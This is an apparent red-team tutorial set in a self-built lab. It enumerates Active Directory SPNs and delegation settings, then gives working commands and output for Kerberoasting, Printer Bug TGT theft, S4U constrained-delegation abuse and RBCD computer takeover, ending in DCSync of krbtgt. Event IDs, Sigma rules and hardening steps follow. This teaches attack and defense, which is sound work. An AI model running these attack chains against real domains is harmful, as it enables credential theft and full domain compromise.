SPN and Delegation Enumeration: Kerberoastable Accounts, Unconstrained, Constrained, and Resource-Based Delegation
Objective: Walk an authenticated domain foothold all the way to Domain Admin by enumerating Service Principal Names and the three Kerberos delegation models, then abusing each one: Kerberoasting weak service passwords, stealing a DC’s TGT through unconstrained delegation, riding S4U through constrained delegation, and taking over a computer object with resource-based constrained delegation. Every attack is paired with the enumeration that finds it and the telemetry that catches it.
Delegation is the part of Active Directory that punishes the gap between “configured years ago” and “still understood.” A service account someone created in 2016 with a six-character password, a print server flagged for unconstrained delegation that nobody decommissioned, a helpdesk group with GenericWrite over half the workstations: each of these collapses the domain when you know what to look for. This guide is enumeration-first by design. You find the opportunity before you ever fire a payload, because in a real engagement the finding is the deliverable and the exploit is just confirmation.
Everything below runs against a self-built lab. Nothing here is aimed at production. Build the range, break it, then read the detection section and learn to see it from the blue side.
Contents
- 1 1. Lab Build
- 2 2. Kerberos Authentication Refresher
- 3 3. Service Principal Names: Structure, Registration, and Enumeration
- 4 4. Kerberoasting: Mechanics and Exploitation
- 5 5. Unconstrained Delegation: Enumeration and TGT Theft
- 6 6. Constrained Delegation: S4U2Proxy and Protocol Transition Abuse
- 7 7. Resource-Based Constrained Delegation: Computer Object Takeover
- 8 8. Chaining Techniques: Realistic Attack Paths
- 9 9. Common Attacker Techniques
- 10 10. Defensive Strategies and Detection
- 11 11. Tools for Delegation Analysis
- 12 12. MITRE ATT&CK Mapping
- 13 Summary
- 14 Related Tutorials
- 15 References
1. Lab Build
Stand up one Windows Server 2022 domain controller and three Windows 10 Pro members in VirtualBox or VMware on a host-only network (192.168.56.0/24). Promote DC01 to a forest named lab.local, then create the objects below with their deliberate misconfigurations.
| Machine / Account | Role | Deliberate misconfiguration |
|---|---|---|
DC01.lab.local (192.168.56.10) | Domain Controller | Print Spooler left running; default MachineAccountQuota=10 |
WEB01.lab.local | IIS host | Trusted for unconstrained delegation |
SQL01.lab.local | App server | n/a (hosts svc_sql) |
COMP01.lab.local | Workstation | RBCD takeover target |
svc_iis | Domain user | SPN HTTP/WEB01.lab.local, RC4 enabled, weak password Summer2023! |
svc_sql | Domain user | TRUSTED_TO_AUTH_FOR_DELEGATION, msDS-AllowedToDelegateTo = cifs/DC01.lab.local, password SqlPass1! |
lowpriv | Domain user | Attacker foothold, password LowPass1!, holds GenericWrite over COMP01$ |
Provision the delegation flags and the RBCD-precursor ACE on the DC:
# Unconstrained delegation on WEB01
Set-ADAccountControl -Identity WEB01$ -TrustedForDelegation $true
# Constrained delegation w/ protocol transition on svc_sql
Set-ADUser svc_sql -Add @{'msDS-AllowedToDelegateTo'='cifs/DC01.lab.local'}
Set-ADAccountControl svc_sql -TrustedToAuthForDelegation $true
# GenericWrite ACE for lowpriv over COMP01 (RBCD primitive)
dsacls "CN=COMP01,CN=Computers,DC=lab,DC=local" /G "lab\lowpriv:WP;;"
The command completed successfully.
The attacker box is Kali at 192.168.56.50 with Impacket, plus a Windows attack VM carrying Rubeus, PowerView, PowerMad, and Mimikatz for the in-domain operations.
2. Kerberos Authentication Refresher
You cannot abuse Kerberos delegation without a working mental model of the ticket exchange, so build that first.
Kerberos is a ticket-based protocol with three parties: the client, the Key Distribution Center (KDC, which runs on every DC), and the service. The KDC has two faces. The Authentication Service (AS) issues the first ticket, and the Ticket-Granting Service (TGS) issues service tickets thereafter.
The flow:
- AS-REQ / AS-REP. The client proves it knows its own password (it encrypts a timestamp with the hash of its password as the pre-auth) and receives a Ticket-Granting Ticket (TGT). The TGT is encrypted with the
krbtgtaccount’s secret key. The client cannot read it; it only stores and presents it. - TGS-REQ / TGS-REP. When the client wants to reach a service, it sends the TGT plus the target service’s SPN to the TGS. The KDC looks up which account owns that SPN, then returns a service ticket (TGS) encrypted with that service account’s key (its NTLM hash for RC4, or its AES key).
- AP-REQ. The client presents the service ticket to the service. The service decrypts it with its own key, reads the embedded PAC (Privilege Attribute Certificate), and trusts the group memberships inside it for authorization.
| Concept | What it actually does |
|---|---|
| TGT | Identity token issued on AS-REP, encrypted with the krbtgt key, presented back to the KDC |
| TGS / service ticket | Issued by the TGS, encrypted with the service account’s key, presented to the service |
| PAC | Authorization blob inside the ticket carrying SIDs and group membership |
| Encryption type (etype) | 0x17/23 = RC4-HMAC (NTLM hash is the key), 0x11/17 = AES128, 0x12/18 = AES256 |
| Forwardable flag | Permits a ticket to be re-presented in an S4U2Proxy request |
The single fact that makes Kerberoasting possible: a service ticket is encrypted with the service account’s password-derived key, and the KDC will hand a service ticket to any authenticated principal that asks for an SPN. If that key is the RC4 key (the NTLM hash of a human-chosen password), an attacker can crack it offline. AES keys are derived through PBKDF2-style iteration and are vastly harder to attack, which is why encryption type matters at every step below.

3. Service Principal Names: Structure, Registration, and Enumeration
A Service Principal Name is the string Kerberos uses to map a service instance to the account that runs it. Format:
ServiceClass/Host:Port/ServiceName
HTTP/WEB01.lab.local
MSSQLSvc/SQL01.lab.local:1433
SPNs live in the servicePrincipalName LDAP attribute. They sit on two kinds of objects, and the distinction is everything:
- Computer accounts auto-register SPNs (
HOST/,CIFS/,LDAP/, etc.). Their passwords are 120+ character machine-generated secrets that rotate every 30 days. Cracking them offline is pointless. - User accounts get SPNs when an admin runs a service under a domain user. Those passwords are human-chosen. A user object with a populated
servicePrincipalNameis a Kerberoasting target.
Enumerate SPNs with raw LDAP
The cleanest enumeration is the LDAP filter itself, which you can run from any authenticated context. This is what every tool wraps.
# Find user objects (not computers) that have an SPN
ldapsearch -x -H ldap://192.168.56.10 -D 'lowpriv@lab.local' -w 'LowPass1!' \
-b 'DC=lab,DC=local' \
'(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))' \
sAMAccountName servicePrincipalName msDS-SupportedEncryptionTypes
# svc_iis, Users, lab.local
dn: CN=svc_iis,CN=Users,DC=lab,DC=local
sAMAccountName: svc_iis
servicePrincipalName: HTTP/WEB01.lab.local
msDS-SupportedEncryptionTypes: 4
# svc_sql, Users, lab.local
dn: CN=svc_sql,CN=Users,DC=lab,DC=local
sAMAccountName: svc_sql
servicePrincipalName: MSSQLSvc/SQL01.lab.local:1433
Two findings. svc_iis has msDS-SupportedEncryptionTypes: 4, which is the RC4-only bit, so its ticket comes back as etype 23 and is the soft target. svc_sql has no encryption-type value set, which means it follows the domain default and is also a candidate. Note svc_sql also carries an SPN, which means we can get its hash and later abuse its delegation rights.
Enumerate with PowerView from a Windows foothold
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, `
@{N='enctypes';E={$_.'msds-supportedencryptiontypes'}}
samaccountname serviceprincipalname enctypes
-------------- -------------------- --------
svc_iis HTTP/WEB01.lab.local 4
svc_sql MSSQLSvc/SQL01.lab.local:1433
krbtgt kadmin/changepw
Ignore krbtgt; it is a built-in and its password is the domain’s crown jewel, not something you roast. The two svc_* accounts are the real findings.
The same view in BloodHound
Run SharpHound, import, and the Kerberoastable Users pre-built query lights up svc_iis and svc_sql. BloodHound’s value is not the list, it is the graph: it shows you what those accounts can reach once cracked, which is how you turn a roast into a path.
sharphound -c All -d lab.local -u lowpriv -p 'LowPass1!' --domaincontroller 192.168.56.10
2024-05-12T14:02:11 INFO Resolved Collection Methods: Group, Sessions, ...
2024-05-12T14:02:19 INFO Status: 312 objects finished (+312)
2024-05-12T14:02:20 INFO Enumeration finished, compressing into 20240512140220_BloodHound.zip
4. Kerberoasting: Mechanics and Exploitation
The enumeration gave us the targets. Now the why: any authenticated user can send a TGS-REQ for HTTP/WEB01.lab.local. The KDC does not check whether you are authorized to use that service; that is the service’s job at AP-REQ time. The KDC simply encrypts the ticket with svc_iis‘s key and hands it back. If that key is RC4 (NTLM hash of Summer2023!), you crack it offline at full GPU speed, never touching the network again.
Request and extract hashes (Impacket, Linux)
GetUserSPNs.py lab.local/lowpriv:'LowPass1!' -dc-ip 192.168.56.10 -request -outputfile kerbhashes.txt
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
---------------------------- ------- -------- ------------------- -------------------
HTTP/WEB01.lab.local svc_iis 2023-06-01 09:14:22 2024-05-10 22:31:07
MSSQLSvc/SQL01.lab.local:1433 svc_sql 2023-06-01 09:18:55 2024-05-11 08:02:44
[*] Saved TGS hashes to kerbhashes.txt
$krb5tgs$23$*svc_iis$LAB.LOCAL$HTTP/WEB01.lab.local*$a1f3...c2d9$8e0b6f... (truncated)
$krb5tgs$23$*svc_sql$LAB.LOCAL$MSSQLSvc/SQL01.lab.local~1433*$77ce...91ab$f0a2...
The $krb5tgs$23$ prefix confirms RC4 (etype 23). If you see $krb5tgs$18$ that is AES256 and you switch hashcat mode. RC4 prefixes start $krb5tgs$23$*, AES128 $krb5tgs$17$*, AES256 $krb5tgs$18$*.
In-memory request from Windows (Rubeus)
/stats first so you know what you are about to touch and how loud it will be.
Rubeus.exe kerberoast /stats
[*] Total kerberoastable users : 2
------------------------------------------------------------
| Supported Encryption Type | Count |
------------------------------------------------------------
| RC4_HMAC_DEFAULT | 1 |
| (unspecified - likely RC4) | 1 |
------------------------------------------------------------
Rubeus.exe kerberoast /outfile:hashes.txt /rc4opsec
[*] Roasting accounts with RC4 enabled (/rc4opsec)
[*] SamAccountName : svc_iis
[*] DistinguishedName : CN=svc_iis,CN=Users,DC=lab,DC=local
[*] ServicePrincipalName : HTTP/WEB01.lab.local
[*] Hash written to hashes.txt
/rc4opsec only roasts accounts already configured for RC4 so you do not trip the “RC4 requested in an AES domain” detection. Drop the flag only when you must roast an AES account.
Crack offline (hashcat)
hashcat -m 13100 kerbhashes.txt rockyou.txt --rules-file best64.rule
$krb5tgs$23$*svc_iis$LAB.LOCAL$HTTP/WEB01.lab.local*$a1f3...:Summer2023!
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Recovered........: 1/2 (50.00%) Digests
svc_iis cracks to Summer2023!. Mode 13100 is RC4 TGS, 19600 is AES128, 19700 is AES256. The AES modes need real wordlist quality because GPU rates collapse against the iteration count.
Targeted Kerberoasting
If you only have GenericWrite over a user (no SPN yet), write a fake SPN, roast, and clear it. This converts an ACL edge into a crackable hash.
Set-DomainObject -Identity helpdesk_svc -Set @{serviceprincipalname='fake/roastme'} -Verbose
Rubeus.exe kerberoast /user:helpdesk_svc /outfile:targeted.txt
Set-DomainObject -Identity helpdesk_svc -Clear serviceprincipalname
[Set-DomainObject] Setting 'serviceprincipalname' to 'fake/roastme' for object 'helpdesk_svc'
[*] Hash written to targeted.txt
[Set-DomainObject] Clearing 'serviceprincipalname' for object 'helpdesk_svc'
Kerberoasting deliberately excludes computer accounts because their machine-generated passwords are not crackable. A non-empty servicePrincipalName on a user is the entire signal.
5. Unconstrained Delegation: Enumeration and TGT Theft
Unconstrained delegation is the oldest and most dangerous model. When a host is “trusted for delegation,” any user who authenticates to it via Kerberos has their full TGT cached in the host’s LSASS, so the host can impersonate them to anything. If you own that host, you own every TGT that lands there, including a Domain Controller’s if you can coerce it to connect.
Enumerate unconstrained hosts
The flag is TRUSTED_FOR_DELEGATION (0x80000 / 524288) in userAccountControl. The bitwise LDAP matching rule finds it precisely.
Get-DomainComputer -Unconstrained | Select-Object dnshostname, useraccountcontrol
dnshostname useraccountcontrol
----------- ------------------
DC01.lab.local WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION, SERVER_TRUST_ACCOUNT
WEB01.lab.local WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
# Raw LDAP equivalent
ldapsearch -x -H ldap://192.168.56.10 -D 'lowpriv@lab.local' -w 'LowPass1!' \
-b 'DC=lab,DC=local' \
'(userAccountControl:1.2.840.113556.1.4.803:=524288)' dNSHostName
dn: CN=WEB01,OU=Servers,DC=lab,DC=local
dNSHostName: WEB01.lab.local
DCs always show the flag, that is expected. WEB01 showing it is the finding: a member server that should never have been trusted for delegation. We already cracked svc_iis, which is local admin on WEB01, so we have a path onto the box.
Monitor LSASS for incoming TGTs
On WEB01, with admin, start Rubeus in monitor mode to harvest any TGT that arrives.
Rubeus.exe monitor /interval:1 /nowrap
[*] Action: TGT Monitoring
[*] Monitoring every 1 seconds for new TGTs
Coerce the DC to authenticate (Printer Bug)
The DC will not just connect to WEB01. We force it. The MS-RPRN “Printer Bug” makes a remote spooler call back to an attacker-supplied host using the machine account, which means the DC’s TGT lands in WEB01‘s LSASS.
python3 printerbug.py 'lab.local/lowpriv:LowPass1!'@192.168.56.10 WEB01.lab.local
[*] Impacket v0.11.0
[*] Attempting to trigger authentication via rprn RPC at 192.168.56.10
[*] Bind OK
[*] Got handle
DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Triggered RPC backconnect, this may or may not have worked
The access-denied at the tail is normal; the backconnect still fires. Back in the monitor window:
[*] 5/12/2024 2:41:09 PM UTC - Found new TGT:
User : DC01$@LAB.LOCAL
StartTime : 5/12/2024 2:41:09 PM
EndTime : 5/13/2024 12:41:09 AM
RenewTill : 5/19/2024 2:41:09 PM
Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
Base64EncodedTicket :
doIFxj...AABBQ== (truncated)
Pass-the-Ticket and DCSync
Inject DC01$‘s TGT, then DCSync as a machine account that has replication rights (a DC computer account does).
Rubeus.exe ptt /ticket:doIFxj...AABBQ==
klist
[*] Action: Import Ticket
[+] Ticket successfully imported!
Cached Tickets: (1)
#0> Client: DC01$ @ LAB.LOCAL
Server: krbtgt/LAB.LOCAL @ LAB.LOCAL
Flags: forwardable, forwarded, renewable, pre_authent
mimikatz # lsadump::dcsync /domain:lab.local /user:lab\krbtgt
[DC] 'lab.local' will be the domain
[DC] 'DC01.lab.local' will be the DC server
[DC] 'lab\krbtgt' will be the user account
Object RID : 502
SAM Username : krbtgt
Credentials:
Hash NTLM: 8a6c2f1e... (truncated)
aes256_hmac : b3d9... (truncated)
With the krbtgt hash you forge Golden Tickets at will. Unconstrained delegation plus one coercion primitive turns a member-server foothold into full domain compromise. The defensive read: kill the Print Spooler on DCs and remove unconstrained delegation from everything that is not a DC.
6. Constrained Delegation: S4U2Proxy and Protocol Transition Abuse
Constrained delegation was Microsoft’s answer to the unconstrained nightmare. Instead of caching every TGT, an account lists exactly which service SPNs it may delegate to in msDS-AllowedToDelegateTo. The delegation is performed through two MS-SFU protocol extensions:
- S4U2Self lets a service ask the KDC for a service ticket to itself on behalf of any named user, even one who never used Kerberos. This is “Protocol Transition.” It bridges NTLM (or no auth at all) into a Kerberos ticket.
- S4U2Proxy takes that forwardable ticket and exchanges it for a ticket to one of the SPNs in
msDS-AllowedToDelegateTo.
The dangerous combination: if an account has TRUSTED_TO_AUTH_FOR_DELEGATION set (the Protocol Transition / “use any authentication protocol” radio button), S4U2Self yields a forwardable ticket, and S4U2Proxy then impersonates any user, including Domain Admin, to the allowed service. No password for that user required.
Enumerate constrained delegation
TRUSTED_TO_AUTH_FOR_DELEGATION is bit 0x1000000 (16777216).
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, `
@{N='allowedto';E={$_.'msds-allowedtodelegateto'}}
samaccountname allowedto
-------------- ---------
svc_sql cifs/DC01.lab.local
# Raw LDAP check for the protocol-transition bit
ldapsearch -x -H ldap://192.168.56.10 -D 'lowpriv@lab.local' -w 'LowPass1!' \
-b 'DC=lab,DC=local' \
'(userAccountControl:1.2.840.113556.1.4.803:=16777216)' \
sAMAccountName msDS-AllowedToDelegateTo
dn: CN=svc_sql,CN=Users,DC=lab,DC=local
sAMAccountName: svc_sql
msDS-AllowedToDelegateTo: cifs/DC01.lab.local
The finding: svc_sql is trusted to authenticate for delegation and may delegate to cifs/DC01.lab.local. Because we Kerberoasted svc_sql earlier (it had an SPN) and we know its password is SqlPass1!, we control it. That means we can impersonate Domain Admin to the file system of the DC.
Run the S4U chain (Rubeus, Windows)
First a TGT for the controlled account, then the S4U exchange.
Rubeus.exe asktgt /user:svc_sql /password:SqlPass1! /domain:lab.local /nowrap
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 5f4dcc3b...
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE+jCCBP...AABBQ==
Rubeus.exe s4u /ticket:doIE+jCCBP...AABBQ== /impersonateuser:Administrator /msdsspn:"cifs/DC01.lab.local" /nowrap /ptt
[*] Action: S4U
[*] Building S4U2self request for: svc_sql@LAB.LOCAL
[*] Impersonating user 'Administrator' to target SPN 'cifs/DC01.lab.local'
[+] S4U2self success!
[*] Building S4U2proxy request for service: 'cifs/DC01.lab.local'
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/DC01.lab.local':
doIGdj...AABBQ==
[+] Ticket successfully imported!
Confirm impersonation
klist
dir \\DC01.lab.local\C$
#0> Client: Administrator @ LAB.LOCAL
Server: cifs/DC01.lab.local @ LAB.LOCAL
Directory of \\DC01.lab.local\C$
05/12/2024 02:55 PM <DIR> Windows
05/12/2024 09:10 AM <DIR> Users
05/12/2024 09:10 AM <DIR> Program Files
The altservice trick: pivot CIFS to LDAP for DCSync
Kerberos does not validate the service class in the returned ticket at the KDC, so a ticket minted for cifs/DC01 can be rewritten to ldap/DC01 on the same host. That promotes file access into directory replication.
Rubeus.exe s4u /ticket:doIE+jCCBP...AABBQ== /impersonateuser:Administrator /msdsspn:"cifs/DC01.lab.local" /altservice:"ldap/DC01.lab.local" /nowrap /ptt
[*] Substituting alternative service name 'ldap/DC01.lab.local'
[+] S4U2proxy success!
[+] Ticket successfully imported!
mimikatz # lsadump::dcsync /domain:lab.local /user:lab\Administrator
SAM Username : Administrator
Credentials:
Hash NTLM: e19ccf75ee54e06b06a5907af13cef42
Linux equivalent (Impacket)
getST.py -dc-ip 192.168.56.10 -spn cifs/DC01.lab.local -impersonate Administrator lab.local/svc_sql:'SqlPass1!'
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_DC01.lab.local@LAB.LOCAL.ccache
export KRB5CCNAME=Administrator@cifs_DC01.lab.local@LAB.LOCAL.ccache
secretsdump.py -k -no-pass DC01.lab.local
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
lab.local\Administrator:500:aad3b...:e19ccf75ee54e06b06a5907af13cef42:::
krbtgt:502:aad3b...:8a6c2f1e...:::

7. Resource-Based Constrained Delegation: Computer Object Takeover
RBCD inverts the trust direction. Classic constrained delegation lists outbound targets on the delegating account, which requires domain-level write to configure. RBCD puts the trust on the resource: the target computer’s msDS-AllowedToActOnBehalfOfOtherIdentity attribute names which accounts may delegate to it. The catch that makes RBCD a workhorse for attackers: you only need write access to one computer object (GenericWrite / WriteProperty), not domain admin, to configure it. Combine that with the default MachineAccountQuota=10 (any user can create up to ten computer accounts) and you have a self-contained takeover primitive.
Enumerate the write primitive
We provisioned lowpriv with GenericWrite over COMP01$. Find it with BloodHound’s Cypher console:
MATCH p=(u:User {name:"LOWPRIV@LAB.LOCAL"})-[:GenericWrite]->(c:Computer)
RETURN p
LOWPRIV@LAB.LOCAL -[GenericWrite]-> COMP01.LAB.LOCAL
Confirm the same edge with PowerView and confirm we can create machine accounts:
Get-DomainObjectAcl -Identity COMP01 -ResolveGUIDs |
Where-Object {$_.SecurityIdentifier -match (Get-DomainUser lowpriv).objectsid} |
Select-Object ActiveDirectoryRights, ObjectAceType
ActiveDirectoryRights ObjectAceType
--------------------- -------------
WriteProperty All
Get-DomainObject -Identity "DC=lab,DC=local" -Properties ms-DS-MachineAccountQuota
ms-ds-machineaccountquota
-------------------------
10
Two findings confirmed: lowpriv can write to COMP01, and the quota lets us create the attacker-controlled computer we need.
Create the attacker computer (PowerMad)
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString 'FakePass1!' -AsPlainText -Force)
[+] Machine account FAKE01 added
$fakeSid = (Get-ADComputer FAKE01).SID.Value
$fakeSid
S-1-5-21-3623811015-3361044348-30300820-1142
Write the SID into COMP01’s RBCD attribute
We build a security descriptor granting FAKE01 the right to act on behalf of others, serialize it, and write it.
$rsd = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$fakeSid)"
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $rsd
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-ADComputer COMP01 | Set-ADObject -Replace @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes}
Get-ADComputer COMP01 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
DistinguishedName : CN=COMP01,CN=Computers,DC=lab,DC=local
msDS-AllowedToActOnBehalfOfOtherIdentity : {1, 0, 4, 128...}
Name : COMP01
COMP01 now trusts FAKE01 to delegate to it. Because we know FAKE01‘s password, we run S4U as FAKE01 and impersonate any user to COMP01.
Run the S4U chain and land code execution
getST.py -dc-ip 192.168.56.10 -spn cifs/COMP01.lab.local -impersonate Administrator 'lab.local/FAKE01$:FakePass1!'
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_COMP01.lab.local@LAB.LOCAL.ccache
export KRB5CCNAME=Administrator@cifs_COMP01.lab.local@LAB.LOCAL.ccache
wmiexec.py -k -no-pass Administrator@COMP01.lab.local
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
C:\>whoami
lab\administrator
Set-ADComputer COMP01 -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity'
Remove-ADComputer FAKE01 -Confirm:$false
# attribute cleared, FAKE01 removed

8. Chaining Techniques: Realistic Attack Paths
None of these live in isolation. The engagement value is the chain.
| Chain | Path |
|---|---|
| Roast to delegation to DA | Kerberoast svc_sql (weak password) -> svc_sql holds protocol-transition constrained delegation to cifs/DC01 -> S4U + altservice to ldap/DC01 -> DCSync krbtgt |
| ACL to RBCD to host | GenericWrite over COMP01 (found in BloodHound) -> create FAKE01 via quota -> write msDS-AllowedToActOnBehalfOfOtherIdentity -> S4U -> SYSTEM on COMP01 |
| Coercion to domain | Find unconstrained WEB01 -> own it via cracked svc_iis -> Printer Bug coerce DC01$ TGT -> PtT -> DCSync |
The connective tissue is always enumeration. PowerView and BloodHound tell you which roasted account matters, which write primitive reaches a tier-0 path, and which coercion target is trusted for delegation. Roasting a random print-queue service that goes nowhere is wasted noise; roasting the one account that also holds delegation rights is the kill.
9. Common Attacker Techniques
| Technique | Description |
|---|---|
| Kerberoasting | Request TGS for user-SPN accounts, crack RC4 ticket offline |
| Targeted Kerberoasting | Add SPN via GenericWrite, roast, clear SPN |
| Unconstrained TGT theft | Capture cached TGTs (incl. DC) from LSASS on a delegation host |
| Printer Bug coercion | Force a target to authenticate via MS-RPRN spooler RPC |
| S4U2Self / S4U2Proxy abuse | Impersonate arbitrary users via protocol transition |
| altservice substitution | Rewrite a service ticket’s SPN class (CIFS to LDAP) for DCSync |
| RBCD takeover | Write msDS-AllowedToActOnBehalfOfOtherIdentity + S4U chain |
| MachineAccountQuota abuse | Create computer accounts as a standard user for RBCD staging |
| Pass-the-Ticket | Inject stolen or forged TGT/TGS into the current session |
10. Defensive Strategies and Detection
Offense without the blue-side picture is half a craft. Each attack above leaves a distinct trail if the audit policy is right. Enable Audit Kerberos Service Ticket Operations and Audit Directory Service Changes at minimum; without those, 4769 and 5136 simply do not appear.
Windows Security event IDs
| Event ID | Log | Trigger | Detection use |
|---|---|---|---|
4769 | Security | TGS requested | Kerberoasting: TicketEncryptionType=0x17 from a non-machine account; S4U2Self: ServiceName == AccountName; S4U2Proxy: non-empty TransitedServices |
4768 | Security | TGT requested | Baseline; spot a host requesting a TGT for a DC machine account post-coercion |
4738 | Security | User account changed | Delegation / UAC flag toggles, msDS-AllowedToDelegateTo edits on users |
4742 | Security | Computer account changed | Delegation flag changes on machine accounts |
4741 | Security | Computer account created | New machine accounts; alert when creator is a non-admin (RBCD/PowerMad staging) |
5136 | Security | Directory object modified | RBCD: AttributeLDAPDisplayName=msDS-AllowedToActOnBehalfOfOtherIdentity, OperationType=Value Added |
A single account requesting many TGS in a burst, or any RC4 request in an AES-enforced domain, is the highest-fidelity Kerberoasting signal. Any write to msDS-AllowedToActOnBehalfOfOtherIdentity outside a change window is near-certain RBCD staging.
Sigma: Kerberoasting
title: Potential Kerberoasting via RC4 Service Ticket Request
logsource:
product: windows
service: security
detection:
selection:
EventID: 4769
TicketEncryptionType: '0x17'
TicketOptions: '0x40810000'
filter:
ServiceName|endswith: '$'
AccountName|endswith: '$'
condition: selection and not filter
level: high
Sigma: RBCD staging
title: Resource-Based Constrained Delegation Attribute Write
logsource:
product: windows
service: security
detection:
selection:
EventID: 5136
AttributeLDAPDisplayName: 'msDS-AllowedToActOnBehalfOfOtherIdentity'
OperationType: '%%14674' # Value Added
condition: selection
level: high
ETW and other telemetry
| Provider | Use |
|---|---|
Microsoft-Windows-Security-Auditing | Source for all 4769/5136/4741 events |
Microsoft-Windows-Kerberos-Key-Distribution-Center | DC-side KDC tracing, verbose TGS issuance |
| Microsoft Defender for Identity | Native Kerberoasting, RBCD, and S4U anomaly detection on the DC sensor |
| Directory Services field-engineering logging (level 5) | Captures raw LDAP filter strings, surfaces (servicePrincipalName=*) sweeps |
Hardening checklist
| Control | Addresses |
|---|---|
| Group Managed Service Accounts (gMSA) | Removes Kerberoasting; 240-char auto-rotating passwords |
| Service passwords >= 25 chars, random | Kerberoasting mitigation where gMSA is infeasible |
Enforce AES, disable RC4 (msDS-SupportedEncryptionTypes=24) | Forces AES TGS, cracking orders of magnitude harder |
| Protected Users group for all tier-0 accounts | Tickets cannot be delegated; no RC4 |
“Account is sensitive and cannot be delegated” (NOT_DELEGATED) | Blocks S4U impersonation of admins |
| Remove unconstrained delegation from non-DCs | Eliminates Printer Bug TGT theft |
MachineAccountQuota=0 via GPO | Blocks user-created computers for RBCD staging |
Restrict GenericWrite/WriteProperty on computer objects | Removes the RBCD write primitive |
| Disable Print Spooler on DCs and sensitive servers | Kills the coercion vector |

11. Tools for Delegation Analysis
| Tool | Description | Link |
|---|---|---|
Impacket (GetUserSPNs.py, getST.py, secretsdump.py) | Linux SPN/S4U/DCSync toolkit | github.com/fortra/impacket |
| Rubeus | Windows kerberoast, S4U, monitor, ptt | github.com/GhostPack/Rubeus |
| PowerView | LDAP delegation and ACL enumeration | github.com/PowerShellMafia |
| BloodHound / SharpHound | Graph-based delegation and ACL path finding | bloodhound.specterops.io |
| PowerMad | Create machine accounts for RBCD staging | github.com/Kevin-Robertson/Powermad |
| Mimikatz | TGT dumping, DCSync, PtT | github.com/gentilkiwi/mimikatz |
| hashcat | Offline TGS cracking (13100/19600/19700) | hashcat.net |
| SpoolSample / printerbug.py | MS-RPRN coercion | github.com/leechristensen/SpoolSample |
| setspn.exe | Native SPN registration and query | docs.microsoft.com |
12. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Kerberoasting | T1558.003 | Event 4769 RC4 from non-machine account |
| Steal or Forge Kerberos Tickets | T1558 | 4768/4769 anomalies, ticket lifetimes |
| Golden Ticket | T1558.001 | Post-DCSync krbtgt use; anomalous TGT |
| Pass the Ticket | T1550.003 | Rubeus ptt; injected ticket without prior 4768 |
| Forced Authentication | T1187 | Spooler RPC callback, 4768 for DC machine account |
| Access Token / Delegation Manipulation | T1134 | 4738/4742 delegation flag changes, 5136 on msDS-AllowedToActOnBehalfOfOtherIdentity |
| OS Credential Dumping: DCSync | T1003.006 | 4662 replication GUID access from non-DC |
Summary
- SPN and delegation misconfigurations let any authenticated user climb to Domain Admin, so enumeration of
servicePrincipalName, UAC delegation flags, andmsDS-*attributes is the highest-value reconnaissance in AD. - Kerberoasting works because the KDC encrypts service tickets with the service account’s password-derived key; user SPNs with RC4 enabled are offline-crackable, computer SPNs are not.
- Unconstrained delegation caches full TGTs in LSASS; combined with Printer Bug coercion it converts a member-server foothold into a DC TGT and
krbtgtcompromise. - Constrained delegation with protocol transition (
TRUSTED_TO_AUTH_FOR_DELEGATION) enables S4U2Self plus S4U2Proxy impersonation of any user, and the altservice trick pivots CIFS tickets into LDAP for DCSync. - RBCD only needs write access to a single computer object plus a non-zero
MachineAccountQuota, making it the most accessible takeover primitive once you find aGenericWriteedge. - Detect via Event 4769 (RC4 TGS bursts), Event 5136 (writes to
msDS-AllowedToActOnBehalfOfOtherIdentity), and Event 4741 (rogue machine accounts); defend with gMSA, AES enforcement, Protected Users,MachineAccountQuota=0, and spooler hardening on DCs.
Related Tutorials
- Jobs and Silos: Process Grouping and Resource Limits
- Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration
References
- Steal or Forge Kerberos Tickets: Kerberoasting, Sub-technique T1558.003 – MITRE ATT&CK
- Steal or Forge Kerberos Tickets, Technique T1558 – MITRE ATT&CK
- Kerberos Constrained Delegation Overview – Windows Server | Microsoft Learn
- Unsecure Kerberos Delegation Security Assessment (Unconstrained, Constrained, RBCD) – Microsoft Defender for Identity | Microsoft Learn
- Kerberos Authentication Troubleshooting Guidance (Unconstrained, Constrained, RBCD) – Windows Server | Microsoft Learn
- Configuring Kerberos Delegation for Group Managed Service Accounts (SPNs, msDS-AllowedToDelegateTo, UAC flags) | Microsoft Learn
Get new drops in your inbox
Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.